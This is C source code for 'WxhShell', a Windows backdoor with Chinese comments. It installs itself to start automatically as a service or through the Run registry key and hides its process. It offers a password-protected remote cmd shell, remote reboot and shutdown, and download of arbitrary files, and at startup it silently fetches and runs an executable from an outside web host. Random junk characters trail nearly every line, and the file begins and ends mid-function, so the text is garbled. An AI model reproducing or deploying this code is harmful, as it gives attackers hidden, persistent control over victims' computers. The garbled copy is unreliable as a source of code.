if(!OsIsNt) { Y2~nBb
// 如果时win9x，隐藏进程并且设置为注册表启动 :gWu9Y|{
HideProc(); zd >t-?g
StartWxhshell(lpCmdLine); <nT +$
} R8a3 1&
else .nx2";oi
if(StartFromService()) ?gt l)q
// 以服务方式启动 %5"9</a&G
StartServiceCtrlDispatcher(DispatchTable); G$F<$
else Wa{`VS
// 普通方式启动 [q8 P~l
StartWxhshell(lpCmdLine); )QU
! t?iXZ
return 0; @emK1iwm
} Ezd_`_@R
J;8IY=
,)Znb=
Y,^@P
=========================================== ).`1+b
jK& h~)
fof TP1
] Zy5%gI
s;01u_
{#?N
" vunHNHltW0
jtW!"TOY
#include <stdio.h> S.-TOE
#include <string.h> Y[}>CYO
#include <windows.h> #W4dkCd(pF
#include <winsock2.h> H4&lb}
#include <winsvc.h> }HFN3cq;C
#include <urlmon.h> TJ6*t!'*X
|B.Y6L6l
#pragma comment (lib, "Ws2_32.lib") P-yjN
#pragma comment (lib, "urlmon.lib") ~j}cyHg
5m&9"T.w
#define MAX_USER 100 // 最大客户端连接数 `ZyI!"
#define BUF_SOCK 200 // sock buffer / F4zg3
#define KEY_BUFF 255 // 输入 buffer e> e}vZlX
!>..Q)z
#define REBOOT 0 // 重启 @tNzQ8
#define SHUTDOWN 1 // 关机 R;uvkg[o
FKDk+ojw
#define DEF_PORT 5000 // 监听端口 'vbsvT
&^}1O:8e
#define REG_LEN 16 // 注册表键长度 ib#KpEk
#define SVC_LEN 80 // NT服务名长度 =Y|VgV
r1 !@hT
// 从dll定义API `yrB->|vG
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xr4*{v
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8lvV4yb
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g+vva"
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RO+GK`J
Lo{ E:5q
// wxhshell配置信息 G|!Tj X7s
struct WSCFG { |"ls\ 7
int ws_port; // 监听端口 Yvw(tj5_5
char ws_passstr[REG_LEN]; // 口令 ayR-\mZ
int ws_autoins; // 安装标记, 1=yes 0=no &^ 1$^=
char ws_regname[REG_LEN]; // 注册表键名 +" .X )avF
char ws_svcname[REG_LEN]; // 服务名 !Xf5e*1IS
char ws_svcdisp[SVC_LEN]; // 服务显示名 `u3EU*~W
char ws_svcdesc[SVC_LEN]; // 服务描述信息 BC&S>#\
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N{9v1`B
int ws_downexe; // 下载执行标记, 1=yes 0=no gc_:%ki
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" il4^zj82
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !/'t5~x[
<J<{l
}; _S<3\%(0
*+Ek0M
// default Wxhshell configuration ,w<S|#W~+
struct WSCFG wscfg={DEF_PORT, md)c0Bg8~
"xuhuanlingzhe", %?0:vn
1, @vC4[:"pD}
"Wxhshell", w'Y7IlC
"Wxhshell", Ns>- o
"WxhShell Service", +~m46eI
"Wrsky Windows CmdShell Service", N)uSG&S:
"Please Input Your Password: ", 6Zm# bFQ
1, q;T{|5/O
"http://www.wrsky.com/wxhshell.exe", x9UX!Z5*>
"Wxhshell.exe" LiN$ pwm
}; 2VmNZ{<
LO9=xGj.
// 消息定义模块 cLpYW7vZ[
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~7*.6YnI
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6iVxc|Ia
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eVjBGJ=2e
char *msg_ws_ext="\n\rExit."; <=zQ NBtx
char *msg_ws_end="\n\rQuit."; n\Z!ff/
char *msg_ws_boot="\n\rReboot..."; ! `
char *msg_ws_poff="\n\rShutdown..."; $v4.sl:x
char *msg_ws_down="\n\rSave to "; 0gW"i&7c
#^u$
char *msg_ws_err="\n\rErr!"; &FMc?wq
char *msg_ws_ok="\n\rOK!"; tU}h~&M
w1Nm&}V
char ExeFile[MAX_PATH]; g0xuxK;9c
int nUser = 0; ZQ4p(6a
HANDLE handles[MAX_USER]; %aG5F}S2~
int OsIsNt; q<xCb%#Jl
*'Sd/%8{
SERVICE_STATUS serviceStatus; n`? py
SERVICE_STATUS_HANDLE hServiceStatusHandle; !,wIQy_e4
o5Dk:Bw
// 函数声明 x[FJgI'r
int Install(void); lHN5Dr
int Uninstall(void); |s7s6k)mm
int DownloadFile(char *sURL, SOCKET wsh); \pa"%c)
int Boot(int flag); Q3kdlxXR
void HideProc(void); -]0OKE&
int GetOsVer(void); =Gpylj7?~
int Wxhshell(SOCKET wsl); 5kc/Y/4o
void TalkWithClient(void *cs); e(]!GA
int CmdShell(SOCKET sock); ePOG}k($/%
int StartFromService(void); ],@rS9K
int StartWxhshell(LPSTR lpCmdLine); C)[,4wt,
@E&J_un
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NW~N}5T
VOID WINAPI NTServiceHandler( DWORD fdwControl ); so,t
NO*u9YH?
// 数据结构和表定义 ((YMVe
SERVICE_TABLE_ENTRY DispatchTable[] = wL+s8#{
{ QyEnpZ8?a
{wscfg.ws_svcname, NTServiceMain}, *RI]?j%B
{NULL, NULL} l.67++_
}; |XaIx#n
C.WX.Je
// 自我安装 LA!?H]
int Install(void) &PR5q7
{ JrJo|0Q
char svExeFile[MAX_PATH]; kKaE=H-x
HKEY key; O*hDbM2QQw
strcpy(svExeFile,ExeFile); S]}nm
%|s;C
// 如果是win9x系统，修改注册表设为自启动 }n]Ng]KM`
if(!OsIsNt) { EuZ<quwWg
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @:oXN]+ _
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ot4 Z{mA
RegCloseKey(key); b)6D_Az7c
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %R}qg6dL
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , Rk9N
RegCloseKey(key); ax"+0L{
return 0; 0z`a1 %U
} 0!4Ts3qn1
} LK{*sHi$
} EEEh~6?-e
else { =2`[&
vNyf64)
// 如果是NT以上系统，安装为系统服务 D>`xzt'.6
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /j#n
if (schSCManager!=0) Gj1&tjK
{ 0\X\izQ5
SC_HANDLE schService = CreateService d6Ht2
( "|x^|n8i
schSCManager, %"q9:{m
wscfg.ws_svcname, S ^!n45l
wscfg.ws_svcdisp, DBo%fYst
SERVICE_ALL_ACCESS, J9\Cm!H
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2]z8:a
SERVICE_AUTO_START, X2#2C/6#u
SERVICE_ERROR_NORMAL, ,1y@Z 5wy
svExeFile, eQ$Y0qH1E
NULL, !44/sr'
NULL, 6LvW?z(J
NULL, T`9lV2x*P
NULL, ]3D0R;
NULL MU($|hwiL
); :">!r.Q
if (schService!=0) i[O& )N,c
{ piJu+tUy
CloseServiceHandle(schService); F8nYV
CloseServiceHandle(schSCManager); ?qmRbDI
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *l"T$H
strcat(svExeFile,wscfg.ws_svcname); ZJnYIK
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `"Jj1O@
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S-a]j;U
RegCloseKey(key); +! ]zA4x
return 0; DEBB()6,
} 2bv=N4ly
} x!?u^
CloseServiceHandle(schSCManager); 3$jT*OyG#
} nXaC3W:"
} +vw\y
\S"isz
return 1; G'nmllB`]
} j%Y#(Q>
=Z{O<xw'
// 自我卸载 )\1@V+!E%
int Uninstall(void) |.(dq^
{ ]Oe2JfJwx
HKEY key; r7RIRg_
t=BUN
if(!OsIsNt) { N+9VYH"*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )~GmU9f
RegDeleteValue(key,wscfg.ws_regname); #%pI(,o=
RegCloseKey(key); sv2A-Dld
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e|g5=2(Pr&
RegDeleteValue(key,wscfg.ws_regname); IDad9 Bx
RegCloseKey(key); ]vz%iv_
return 0; a1g,@0s
} sSr&:BOsi
} $|zX|
} d8DV[{^
else { `vU%*g&R
V)3KS-
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |O{m2Fi
if (schSCManager!=0) 272q1~&
{ F6LH $C
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YC*"Thuu
if (schService!=0) '@a}H9>}
{ aEBu *`-j
if(DeleteService(schService)!=0) { To\QjP-
CloseServiceHandle(schService); OstQqV%@
CloseServiceHandle(schSCManager); 0XOp3
return 0; -$t{>gO#Y
} ^gN6/>]qrY
CloseServiceHandle(schService); @T@<_ ?)
} v>6"j1Z
CloseServiceHandle(schSCManager); ~Sdb_EZ
} 0B[="rTS7#
} v|Pv 03%?7
bYcV$KJk
return 1; ]N/=Dd+|
} -5)H<dAQZ
%{7|1>8
// 从指定url下载文件 PoHg,n]
int DownloadFile(char *sURL, SOCKET wsh) :>rkG?NfL
{ $1SPy|y
HRESULT hr; 0$(WlP|
char seps[]= "/"; \/93Dz
char *token; 0^v`T%|fTX
char *file; KsddA
char myURL[MAX_PATH]; Lt2u,9
char myFILE[MAX_PATH]; kT|dUw9G
\9.bt:k@OT
strcpy(myURL,sURL); xn?a. 3b'
token=strtok(myURL,seps); m1j*mtu
while(token!=NULL) <NHH^M\N
{ R$EW4]j
file=token; 2d>z1%'
token=strtok(NULL,seps); H(H<z,$}T
} I^* Nqqq
0!D4pvlt
GetCurrentDirectory(MAX_PATH,myFILE); u6J8"< -W
strcat(myFILE, "\\"); c\/=iVw,
strcat(myFILE, file); hl;u'_AB
send(wsh,myFILE,strlen(myFILE),0); seba9y
send(wsh,"...",3,0); CYt?,qk-r
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Hx0`Nc K
if(hr==S_OK) tCw<Ip
return 0; %3s1z<;R[S
else *}Xf!"I#]N
return 1; #^#PPO
[m->5H
} SDL7<ZaE
ke!?BZx
// 系统电源模块 'Oxy$U
int Boot(int flag) XUrXnz|>
{ PG2:~$L0
HANDLE hToken; ]yV!
TOKEN_PRIVILEGES tkp; )"qa kT
c& <Fr[AK
if(OsIsNt) { *$#W]bO
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <g-9T-Ky
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .Q<>-3\K
tkp.PrivilegeCount = 1; "x%Htq@
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nz%DM<0$
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %J#YM'g
if(flag==REBOOT) { 3W V"U
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zlyS}x@p
return 0; 3Nl <p"=
} ( B!uy`
else { <xup'n^7C
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "WlZ)wyF%
return 0; 6d:zb;Iz
} %Celc#v
} Ii6<b6-
else { AWcLUe{
if(flag==REBOOT) { 5sdn[Tt##
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "<6G6?sz
return 0; P)"noG_'i
} C^s^D:
else { a,Sw4yJ!Q
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =NpYFKmMhV
return 0; FW.7'7G@n
} z Eq GD2"
} ?xA:@:l/
XFg9P}"
return 1; m)8BgCy
} xP_cQwm`1
ih)zG
// win9x进程隐藏模块 [2>yYr s_=
void HideProc(void) y>:N{|
{ "33Fv9C#bK
0Vj4+2?L5;
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D{!6Y*d6&s
if ( hKernel != NULL ) 'QJ:`)z
{ 90Pl$#cb2
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {SOr#{1z*
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R$v[!A+:'
FreeLibrary(hKernel); >~#yu&*D
} PvzcEV
9Q.rMs>qj
return; S O4u9V
} \@Ts+7%
b`(}.r?W
// 获取操作系统版本 -] LY,M
int GetOsVer(void) 9eR-
{ =MSr/O2
OSVERSIONINFO winfo; z-BXd
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \j+1V1t9
GetVersionEx(&winfo); iMAfJ-oN
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )5rb&M}
return 1; 6uv#de
else QFE:tBHe
return 0; 6O|@xvg
} oOnop-z7
7z/|\D_{
// 客户端句柄模块 w+C7BPV&
int Wxhshell(SOCKET wsl) t\?ik6
{ mGtdO/C#B
SOCKET wsh; Vn7*JS
struct sockaddr_in client; NYt&@Z}]
DWORD myID; s0\X ^
&[_g6OL
while(nUser<MAX_USER) Jk&3%^P{m
{ neB\q[k
int nSize=sizeof(client); d.3E[AJa(
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eS{!)j_^
if(wsh==INVALID_SOCKET) return 1; k\wW##=v
$}RJ,%~'x
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bG7O
if(handles[nUser]==0) cq5jPZ}
closesocket(wsh); @>u]4Jn
else ?iPC*
nUser++; I*%-cA%l
} WgR).Yx
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,f<?;z
vmi+_]
return 0; bT\1>
} 4<9=5q]
BYpG
// 关闭 socket _?<|{O
void CloseIt(SOCKET wsh) 7zA'ri3w
{ jDKO} bQ
closesocket(wsh); 5BWH-2HsB
nUser--; >5_2_Y$"
ExitThread(0); 46$._h P
} a<@1-j<
ztnFhJ<a$
// 客户端请求句柄 MPCBT!o4Z
void TalkWithClient(void *cs) 2K< 8
{ }d&_q7L@@6
%9w::hav
SOCKET wsh=(SOCKET)cs; C^3 <={
char pwd[SVC_LEN]; O#b6mKPt;t
char cmd[KEY_BUFF]; O|\J}rm'
char chr[1]; zxMXXm;
int i,j; ^2+yHw
p%#<D9S
while (nUser < MAX_USER) { 7_%"BVb"
{`J)j6;
if(wscfg.ws_passstr) { Hv!U|L
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `lQ3C{}
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'r4/e-`pK
//ZeroMemory(pwd,KEY_BUFF); ]*vdSr-J
i=0; j`oy`78O
while(i<SVC_LEN) { %kv0Wefs
R,gR;Aarw
// 设置超时 \Npxv
fd_set FdRead; Q(@U2a8
struct timeval TimeOut; 3cFf#a#
FD_ZERO(&FdRead); ao%NK<Lt
FD_SET(wsh,&FdRead); >go,K{cK6
TimeOut.tv_sec=8; 7"aN#;&
TimeOut.tv_usec=0; `2'#!-
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SFO({w(
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RzBF~2 >i
_XG/Pp)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XDsx3Ws
pwd=chr[0]; H!?c\7adX
if(chr[0]==0xd || chr[0]==0xa) { U@g4w!$r
pwd=0; )+l\w3^6
break; l9}3XI.=
} q'|rgT
i++; B$-R-S6
} &7<TAo;O
\!>3SKs(e
// 如果是非法用户，关闭 socket 6,)[+Bl
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q 7
} (mgS"zPS
|y&*MTfV4L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *vflscgt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _I:~@
e^d0zl{
while(1) { Ai:BEPKe
{/"2Vk<H8
ZeroMemory(cmd,KEY_BUFF); @HQ`~C#Z'
)#P; x"
// 自动支持客户端 telnet标准 1>*#%R?W
j=0; L0*nm.1X
while(j<KEY_BUFF) { u\ #"L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a&tSj35*6
cmd[j]=chr[0]; ]4~lYuI4
if(chr[0]==0xa || chr[0]==0xd) { 1xD=ffM>8N
cmd[j]=0; ugo.@
break; b6}H$Sx~
} mFg<dTx0c8
j++; [baiH|5>
} !+1<E*NQ S
=o Xsb
// 下载文件 ZNf6;%oGG
if(strstr(cmd,"http://")) { Q o?O:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @{YS}&Q/
if(DownloadFile(cmd,wsh)) `4(e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;QbUO
else d`P7}*;`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e}Cif2#d~
} PUF/#ck
else { bvS(@
afv~r>q(-
switch(cmd[0]) { B-.gI4xa
AmaT0tzJC
// 帮助 ]e^c=O`$
case '?': { }R1< 0~g
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3 DDML,
break; vI2^tX9
} j/>$,
// 安装 $>GgB`
case 'i': { d{XO/YQw
if(Install()) |(pRaiJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %<E$,w>
else e<=cdze
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z3{>yYR+
break; 7Bb9t
} v5By:z
// 卸载 zhpx"{_
case 'r': { *RXbc~ H
if(Uninstall()) L!rw[x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vY%d
else 9{-EJ)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWRju*Z&
break; K%"5ImM
} `wus\&!W
// 显示 wxhshell 所在路径 3D`YZ#M
case 'p': { l%?T2Fm3>
char svExeFile[MAX_PATH]; 3|1ilP
strcpy(svExeFile,"\n\r"); w9NHk~LHKF
strcat(svExeFile,ExeFile); ux_Mrh'
send(wsh,svExeFile,strlen(svExeFile),0); Yj)#k)x
break; 6b+b/>G0
} 7]9 a<
// 重启 ]<H&+ &!
case 'b': { q8^^H$<Db
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >;L6xt3
if(Boot(REBOOT)) '@p['#\uI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <z]cyXv/
else { }RmU%IYc
closesocket(wsh); x*?x=^I{
ExitThread(0); 30XR 82P/
} zY,r9<I8_x
break; >Y #t`6,!
} NbC@z9Q
// 关机 v1%uxthW
case 'd': { x/;buW-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f2^r[kPX"
if(Boot(SHUTDOWN)) *tgnYa[l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | \'rP_I>
else { W6"v)Jc>_
closesocket(wsh); KcK>%%
ExitThread(0); VwOW=4`6
} Svc|0Ad&
break; t: #6sF
} Ttxqf:OMf
// 获取shell GFel(cx:K
case 's': { 7RUofcax
CmdShell(wsh); ZJwrLV
closesocket(wsh); m9"n4a|:
ExitThread(0); T9]HGB{
break; } p&&_?
} RAG3o-
// 退出 qQ"Fv|]~>
case 'x': { NR -!VJQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y($%;l
CloseIt(wsh); E}sO[wNPf
break; q)Fq i
} ?pn}s]*/
// 离开 SzUpWy&
case 'q': { EmODBTu+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); hjIT_{mk
closesocket(wsh); i?fOK_d
WSACleanup(); G8r``{C!
exit(1); Hm$=h>rY9[
break; =,Dqqf
} WAn~+=Ax
} 'Y56+P\u
} q|Qk2M
qe!fk?T}
// 提示信息 P?t"jKp'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P@,nA41,j
} w:?oTuw
} :,J}z~I,lB
agjv{
return; [1F*bI
} Iz ;G*W18
Yc,7tUz#
// shell模块句柄 Y7vA`kjD-C
int CmdShell(SOCKET sock) Sh?4ri@:
{ %,Ap7X3:QT
STARTUPINFO si; :{oZ~<
ZeroMemory(&si,sizeof(si)); ~-PjW#J%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; df n9!h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q8DQlqHm
PROCESS_INFORMATION ProcessInfo; ;_^fk&+
char cmdline[]="cmd"; |b-]n"}c>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); co9 .wB@
return 0; G.(mp<-
} |37 g ~
K91)qI;BD
// 自身启动模式 P&b19K'
int StartFromService(void) e_/b2"{
{ j{NNSi3
typedef struct /Wy.>YC|
{ u%/goxA
DWORD ExitStatus; #*TEq
DWORD PebBaseAddress; `;>= '"O!\
DWORD AffinityMask; 3bDQk :L
DWORD BasePriority; 4H|(c[K;
ULONG UniqueProcessId; "dI;
ULONG InheritedFromUniqueProcessId; Sr%;fq
} PROCESS_BASIC_INFORMATION; aBNZdX]vzO
PJ2qfYsH=>
PROCNTQSIP NtQueryInformationProcess; Pv<24:ao
t 0-(U\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v>Mnl
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $6CwkM:
(s{RnD
HANDLE hProcess; v{9t]s>B
PROCESS_BASIC_INFORMATION pbi; X`fn8~5
C&6IU8l\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7f~Sf
if(NULL == hInst ) return 0; _L@2_#h!
*P#WDXRwd
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?}m']4p
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q4*fc^?u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jq+A-T}@
,:`ND28V7
if (!NtQueryInformationProcess) return 0; JB>b`W9
jiYmb8Q4D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ak:ibV
if(!hProcess) return 0; %s&ChM?8F
>-O/U5<!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]ix!tb.Q
@"o@}9=d
CloseHandle(hProcess); #'q<v"w
v*9<c{a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3q`)*
if(hProcess==NULL) return 0; SL,p36N
2e|N@j &
HMODULE hMod; :<Fe
char procName[255]; gq"gUaz
unsigned long cbNeeded; -CRraEXf8
x ul]m*Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ixV0|P8,c
r YF #^
CloseHandle(hProcess); i,|0@Vy
OQ,NOiNkap
if(strstr(procName,"services")) return 1; // 以服务启动 ?_v{| YI=
aDehqP6vf
return 0; // 注册表启动 @c~)W8
} RGK8'i/X
Q6XRsFc
// 主模块 ^1wA:?uN}
int StartWxhshell(LPSTR lpCmdLine) r%e KFS
{ XfKo A0
SOCKET wsl; kFQ8 y~>y}
BOOL val=TRUE; z Nl ,
int port=0; J!5v~<v?-
struct sockaddr_in door; \tRG1&{$%
e#B#B
if(wscfg.ws_autoins) Install(); rvyrxw%[
NNF>Xa`9,
port=atoi(lpCmdLine); M{$j
)LdyC`S\c
if(port<=0) port=wscfg.ws_port; .-JCwnP
Z(ZiFPx2Z
WSADATA data; ?]rPRV
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VOr1
/RyR>G!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?h0X,fl3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $-&BB(-{E&
door.sin_family = AF_INET; rLU/W<F8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); A"aV'~>
door.sin_port = htons(port); Dk='+\
Q0\0f
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jn:NYJv
closesocket(wsl); @G:V
return 1; q|%(3,)ig
} zz^F k&
5P .qXA"D
if(listen(wsl,2) == INVALID_SOCKET) { ZlHDi!T
closesocket(wsl); 0Hs|*:Y1D
return 1; 4:7V./" 9
} iL= m{
Wxhshell(wsl); [lk'xzE
WSACleanup(); `juLQH
ZbT/$\0(6
return 0; KE1ao9H8wR
:0/q5_t
} < Z|Ep1W
oxj3[</'k
// 以NT服务方式启动 a"av#Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @w>zF/
{ WsFk:h'r
DWORD status = 0; tV9LD>3
DWORD specificError = 0xfffffff; (Z}>1WRju
nkv(~ej(
serviceStatus.dwServiceType = SERVICE_WIN32; @vMA=v7a
serviceStatus.dwCurrentState = SERVICE_START_PENDING; QaGlR`Y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 C{;h
serviceStatus.dwWin32ExitCode = 0; 4G@nZn
serviceStatus.dwServiceSpecificExitCode = 0; \j2;4O?`
serviceStatus.dwCheckPoint = 0; zd_HxYrN
serviceStatus.dwWaitHint = 0; X]loJoM9
|ea~'N1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }dxDtqb
if (hServiceStatusHandle==0) return; 2qi'g:qe
/cK%n4l.y
status = GetLastError(); IG?'zppjd6
if (status!=NO_ERROR) JxjI]SF02
{ "v}pdUW
serviceStatus.dwCurrentState = SERVICE_STOPPED; cV-1?h63
serviceStatus.dwCheckPoint = 0; f/kI|Z
serviceStatus.dwWaitHint = 0; \*\R1_+
serviceStatus.dwWin32ExitCode = status; Gd+ET
serviceStatus.dwServiceSpecificExitCode = specificError; 1shBY@mlq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SI_iI71
return; v_S4hz6w\
} 9e U[*S
=&dW(uyzY
serviceStatus.dwCurrentState = SERVICE_RUNNING; 7DKz;o
serviceStatus.dwCheckPoint = 0; )s9',4$eK<
serviceStatus.dwWaitHint = 0; 0Y]0!}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B$KwkhMe
} ~dHM4lGY
#tdf>?
// 处理NT服务事件，比如：启动、停止 _28<m JfG
VOID WINAPI NTServiceHandler(DWORD fdwControl) \tyg(srw0
{ d/74{.
switch(fdwControl) Gq#~vr
{ ,uz ]V1
case SERVICE_CONTROL_STOP: B$?qQ|0:=
serviceStatus.dwWin32ExitCode = 0; XI Jlc~2
serviceStatus.dwCurrentState = SERVICE_STOPPED; Zs2-u^3&
serviceStatus.dwCheckPoint = 0; I =Wc&1g
serviceStatus.dwWaitHint = 0; %g]vxm5?
{ -xg2q V\c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uE=$p)
} m6 s7F/
return; ]v G{kAnH
case SERVICE_CONTROL_PAUSE: W/=|/-\]/
serviceStatus.dwCurrentState = SERVICE_PAUSED; f-2$ L
break; 8_H=^a>2
case SERVICE_CONTROL_CONTINUE: k#}g,0@
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?hYqcT[%
break; !}M,
case SERVICE_CONTROL_INTERROGATE: JIO$=+p
break; #(LfYw.P1V
}; O;[9_[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "tS'b+SJ-S
} ZiFooA
JM.XH7k
// 标准应用程序主函数 #kkY@k$4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RE3Z%;'
{ 2h {q h
E3/:.t
// 获取操作系统版本 ;oH,~|K
OsIsNt=GetOsVer(); 9H]_4?aX
GetModuleFileName(NULL,ExeFile,MAX_PATH); D~K;~nI
1on'^8]0
// 从命令行安装 s|bM%!$1
if(strpbrk(lpCmdLine,"iI")) Install(); ~F, &GH
?v}Bd!'+P
// 下载执行文件 '[P}&<ie,
if(wscfg.ws_downexe) { P ,eH5w"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3UUGblg`~
WinExec(wscfg.ws_filenam,SW_HIDE); 1U\$iy8}
} O(H1P[
qu6DQ@ ~YC
if(!OsIsNt) { $trAC@3O@
// 如果时win9x，隐藏进程并且设置为注册表启动 r!N]$lB
HideProc(); FZpKFsPx
StartWxhshell(lpCmdLine); pL1s@KR
} Lp:6 ;
else RBGlzk
if(StartFromService()) -qV{WZHp
// 以服务方式启动 FdOFE.l
